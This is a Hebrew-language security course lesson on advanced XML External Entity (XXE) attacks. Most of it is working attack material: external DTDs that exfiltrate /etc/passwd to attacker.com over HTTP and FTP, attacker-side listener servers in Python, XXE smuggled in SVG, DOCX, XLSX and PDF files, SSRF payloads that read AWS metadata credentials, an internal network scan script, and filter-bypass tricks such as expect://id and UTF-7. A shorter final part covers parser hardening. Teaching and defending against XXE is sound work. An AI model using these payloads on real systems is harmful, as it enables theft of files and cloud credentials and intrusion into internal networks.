לדלג לתוכן

הזרקת XML מתקדמת - Advanced XXE

מבוא

בקורס הבסיסי למדנו על XXE (XML External Entity) רגיל - הגדרת entity חיצוני שמצביע לקובץ מקומי או לכתובת חיצונית. בשיעור הזה נעמיק לטכניקות מתקדמות: XXE עיוור עם חילוץ out-of-band, XXE דרך קבצים שונים, parameter entities, ועוד.

תזכורת - XXE בסיסי

<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root>
  <data>&xxe;</data>
</root>

XXE עיוור - Blind XXE

כאשר התגובה של השרת לא מציגה את תוכן ה-entity, אנחנו צריכים טכניקות חילוץ חלופיות.

OOB עם DTD חיצוני - Out-of-Band Exfiltration

העיקרון: נגרום לשרת הפגיע לשלוח את הנתונים לשרת שלנו.

שלב 1 - קובץ DTD בשרת התוקף

<!-- evil.dtd - מתארח ב-http://attacker.com/evil.dtd -->
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'http://attacker.com/collect?data=%file;'>">
%eval;
%exfil;

שלב 2 - ה-payload שנשלח לשרת הפגיע

<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY % xxe SYSTEM "http://attacker.com/evil.dtd">
  %xxe;
]>
<root>
  <data>anything</data>
</root>

מה קורה

  1. השרת הפגיע טוען את evil.dtd מהתוקף
  2. ה-DTD מגדיר entity שקורא /etc/passwd
  3. ה-DTD מגדיר entity שעושה בקשה לשרת התוקף עם התוכן
  4. התוקף מקבל את תוכן הקובץ בלוג של השרת שלו

שרת מקבל בצד התוקף

from http.server import HTTPServer, SimpleHTTPRequestHandler
import urllib.parse

class Handler(SimpleHTTPRequestHandler):
    def do_GET(self):
        if self.path.startswith('/collect'):
            query = urllib.parse.urlparse(self.path).query
            data = urllib.parse.parse_qs(query).get('data', [''])[0]
            print(f"[+] Exfiltrated data:\n{data}")

        # גם מגיש את evil.dtd
        return super().do_GET()

HTTPServer(('0.0.0.0', 80), Handler).serve_forever()

שימוש ב-Burp Collaborator

<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY % xxe SYSTEM "http://YOUR-COLLABORATOR-ID.oastify.com/evil.dtd">
  %xxe;
]>
<root><data>test</data></root>

XXE מבוסס שגיאות - Error-based XXE

כאשר OOB לא עובד (למשל חומת אש חוסמת תעבורה יוצאת), אפשר לחלץ נתונים דרך הודעות שגיאה.

DTD עם שגיאה מכוונת

<!-- error.dtd -->
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;

ה-payload

<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY % xxe SYSTEM "http://attacker.com/error.dtd">
  %xxe;
]>
<root><data>test</data></root>

התוצאה

Error: Failed to open file:///nonexistent/root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...

תוכן הקובץ מופיע בהודעת השגיאה.


Parameter Entities - ישויות פרמטריות

Parameter entities (עם %) ניתנות לשימוש רק בתוך ה-DTD. הן חיוניות ל-blind XXE:

<!-- ההבדל בין entity רגיל ל-parameter entity -->

<!-- Entity רגיל - משמש ב-XML -->
<!ENTITY regular "value">
<!-- שימוש: &regular; -->

<!-- Parameter entity - משמש רק ב-DTD -->
<!ENTITY % param "value">
<!-- שימוש: %param; -->

למה צריך parameter entities?

<!-- זה לא עובד - אי אפשר להגדיר entity בתוך entity -->
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY exfil SYSTEM "http://attacker.com/?data=%file;">

<!-- זה עובד - parameter entity בתוך DTD חיצוני -->
<!-- כי DTD חיצוני מאפשר הגדרת entities מקוננות -->

XXE דרך העלאת קבצים

XXE דרך SVG

קבצי SVG הם XML. אם האפליקציה מקבלת העלאת SVG:

<!-- malicious.svg -->
<?xml version="1.0" standalone="yes"?>
<!DOCTYPE svg [
  <!ENTITY xxe SYSTEM "file:///etc/hostname">
]>
<svg xmlns="http://www.w3.org/2000/svg" width="500" height="500">
  <text x="10" y="50" font-size="20">&xxe;</text>
</svg>

אם השרת מעבד את ה-SVG (למשל ליצירת thumbnail), הוא יקרא את הקובץ.

XXE דרך DOCX

קבצי DOCX הם ארכיוני ZIP שמכילים קבצי XML. אפשר להזריק XXE לתוכם:

# שלב 1 - יצירת DOCX תקין
# או שימוש בקובץ DOCX קיים

# שלב 2 - חילוץ ה-DOCX
mkdir docx_contents && cd docx_contents
unzip ../document.docx

# שלב 3 - עריכת [Content_Types].xml או word/document.xml
<!-- word/document.xml עם XXE -->
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<!DOCTYPE document [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<w:document xmlns:w="http://schemas.openxmlformats.org/wordprocessingml/2006/main">
  <w:body>
    <w:p>
      <w:r>
        <w:t>&xxe;</w:t>
      </w:r>
    </w:p>
  </w:body>
</w:document>
# שלב 4 - ארזייה חזרה ל-DOCX
zip -r ../malicious.docx .

XXE דרך XLSX

# חילוץ ה-XLSX
mkdir xlsx_contents && cd xlsx_contents
unzip ../spreadsheet.xlsx

# עריכת xl/workbook.xml
<!-- xl/workbook.xml -->
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<!DOCTYPE workbook [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<workbook xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main">
  <sheets>
    <sheet name="&xxe;" sheetId="1" />
  </sheets>
</workbook>

XXE דרך PDF (עם XMP metadata)

<!-- XMP metadata בתוך PDF -->
<?xpacket begin="" id="">
<!DOCTYPE x [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<x:xmpmeta xmlns:x="adobe:ns:meta/">
  <rdf:Description>&xxe;</rdf:Description>
</x:xmpmeta>
<?xpacket end="w"?>

XXE בבקשות SOAP

בקשות SOAP הן XML ולכן פגיעות ל-XXE:

<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
  <soapenv:Body>
    <GetUser>
      <username>&xxe;</username>
    </GetUser>
  </soapenv:Body>
</soapenv:Envelope>

XXE ל-SSRF

שימוש ב-XXE כדי לגשת לשירותים פנימיים:

<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/">
]>
<root><data>&xxe;</data></root>

סריקת רשת פנימית

import requests

url = "http://target.com/api/parse"

for i in range(1, 255):
    payload = f"""<?xml version="1.0"?>
    <!DOCTYPE foo [
      <!ENTITY xxe SYSTEM "http://192.168.1.{i}/">
    ]>
    <root><data>&xxe;</data></root>"""

    try:
        response = requests.post(url, data=payload,
                                headers={"Content-Type": "application/xml"},
                                timeout=3)
        if response.status_code == 200 and len(response.text) > 100:
            print(f"[+] Host alive: 192.168.1.{i}")
    except:
        pass

גישה ל-AWS Metadata

<!-- קריאת credentials מ-AWS -->
<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/role-name">
]>
<root><data>&xxe;</data></root>

XXE בפרסרים שונים

libxml2 (PHP, Python)

// PHP - פגיע כברירת מחדל בגרסאות ישנות
$xml = simplexml_load_string($input);

// PHP - פגיע אם LIBXML_NOENT מופעל
$xml = simplexml_load_string($input, 'SimpleXMLElement', LIBXML_NOENT);

SAX Parser (Java)

// פגיע - SAX parser ב-Java
SAXParserFactory factory = SAXParserFactory.newInstance();
SAXParser parser = factory.newSAXParser();
parser.parse(inputStream, handler);

// מתוקן - ניטרול DTD ו-external entities
SAXParserFactory factory = SAXParserFactory.newInstance();
factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
factory.setFeature("http://xml.org/sax/features/external-general-entities", false);
factory.setFeature("http://xml.org/sax/features/external-parameter-entities", false);

DOM Parser (Java)

// פגיע
DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
DocumentBuilder builder = factory.newDocumentBuilder();
Document doc = builder.parse(inputStream);

// מתוקן
DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
factory.setFeature("http://xml.org/sax/features/external-general-entities", false);
factory.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
factory.setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd", false);
factory.setXIncludeAware(false);
factory.setExpandEntityReferences(false);

.NET (C#)

// פגיע - גרסאות ישנות של .NET
XmlDocument doc = new XmlDocument();
doc.LoadXml(userInput);

// מתוקן
XmlDocument doc = new XmlDocument();
doc.XmlResolver = null;  // מנטרל entity resolution
doc.LoadXml(userInput);

// או עם XmlReaderSettings
XmlReaderSettings settings = new XmlReaderSettings();
settings.DtdProcessing = DtdProcessing.Prohibit;
settings.XmlResolver = null;

טכניקות עקיפה

עקיפת חסימת SYSTEM

<!-- אם SYSTEM חסום, ננסה PUBLIC -->
<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY xxe PUBLIC "-//W3C//DTD XHTML 1.0//EN" "file:///etc/passwd">
]>
<root>&xxe;</root>

עקיפת חסימת פרוטוקול file

<!-- שימוש בפרוטוקולים חלופיים -->
<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
<!ENTITY xxe SYSTEM "expect://id">
<!ENTITY xxe SYSTEM "jar:http://attacker.com/evil.jar!/file.txt">

XInclude

כאשר אין שליטה על כל מסמך ה-XML, אבל יש שליטה על ערך שמוכנס ל-XML:

<!-- XInclude - לא דורש DOCTYPE -->
<root xmlns:xi="http://www.w3.org/2001/XInclude">
  <xi:include parse="text" href="file:///etc/passwd"/>
</root>

UTF-7 Encoding

<?xml version="1.0" encoding="UTF-7"?>
+ADw-!DOCTYPE foo +AFs-
  +ADw-!ENTITY xxe SYSTEM +ACI-file:///etc/passwd+ACI-+AD4-
+AFs-+AD4-
+ADw-root+AD4-+ACY-xxe;+ADw-/root+AD4-

בניית DTD זדוני לחילוץ OOB

DTD מלא לחילוץ קבצים

<!-- exfil.dtd -->
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'http://attacker.com/collect?data=%file;'>">
%eval;
%exfil;

DTD לחילוץ בבלוקים (לקבצים גדולים)

<!-- chunk1.dtd -->
<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'http://attacker.com/c?d=%file;'>">
%eval;
%exfil;

DTD לחילוץ עם FTP

<!-- ftp-exfil.dtd -->
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'ftp://attacker.com/%file;'>">
%eval;
%exfil;

שרת FTP מקבל בצד התוקף:

import socket

server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.bind(('0.0.0.0', 21))
server.listen(1)

while True:
    conn, addr = server.accept()
    conn.send(b'220 FTP Ready\r\n')
    while True:
        data = conn.recv(1024)
        if not data:
            break
        print(f"[+] Received: {data.decode()}")
        if data.startswith(b'USER'):
            conn.send(b'331 OK\r\n')
        elif data.startswith(b'PASS'):
            conn.send(b'230 OK\r\n')
        elif data.startswith(b'RETR') or data.startswith(b'CWD'):
            conn.send(b'550 Not found\r\n')
        else:
            conn.send(b'200 OK\r\n')
    conn.close()

הגנה מפני XXE

עקרון 1 - ניטרול DTDs לחלוטין

# Python - lxml
from lxml import etree
parser = etree.XMLParser(resolve_entities=False, no_network=True, dtd_validation=False)
doc = etree.fromstring(xml_input, parser)

# Python - defusedxml (מומלץ)
import defusedxml.ElementTree as ET
doc = ET.fromstring(xml_input)
// PHP - ניטרול external entities
libxml_disable_entity_loader(true);
$xml = simplexml_load_string($input);

// PHP 8+ - ברירת מחדל בטוחה, אבל כדאי לוודא
$xml = simplexml_load_string($input, 'SimpleXMLElement', LIBXML_NONET);
// Java - ניטרול מלא
DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);

עקרון 2 - שימוש ב-JSON במקום XML

# במקום לקבל XML
@app.route('/api/data', methods=['POST'])
def process():
    data = request.get_json()  # JSON פשוט ובטוח
    return jsonify(result=process_data(data))

עקרון 3 - ולידציה של סוג קובץ

# בדיקה שקבצים שעולים הם באמת מה שהם טוענים
import magic

def validate_upload(file):
    mime = magic.from_buffer(file.read(1024), mime=True)
    file.seek(0)

    allowed_mimes = {'image/png', 'image/jpeg', 'image/gif'}
    if mime not in allowed_mimes:
        raise ValueError(f"Invalid file type: {mime}")

סיכום

XXE מתקדם מרחיב את משטח התקיפה הרבה מעבר ל-XXE בסיסי:

  • Blind XXE - חילוץ נתונים דרך OOB כשאין פלט ישיר
  • Error-based XXE - חילוץ דרך הודעות שגיאה
  • XXE בקבצים - SVG, DOCX, XLSX כולם מכילים XML
  • Parameter entities - חיוניות ל-blind XXE דרך DTD חיצוני
  • XXE ל-SSRF - גישה לשירותים פנימיים ול-cloud metadata
  • ההגנה הטובה ביותר היא ניטרול מוחלט של DTDs ו-external entities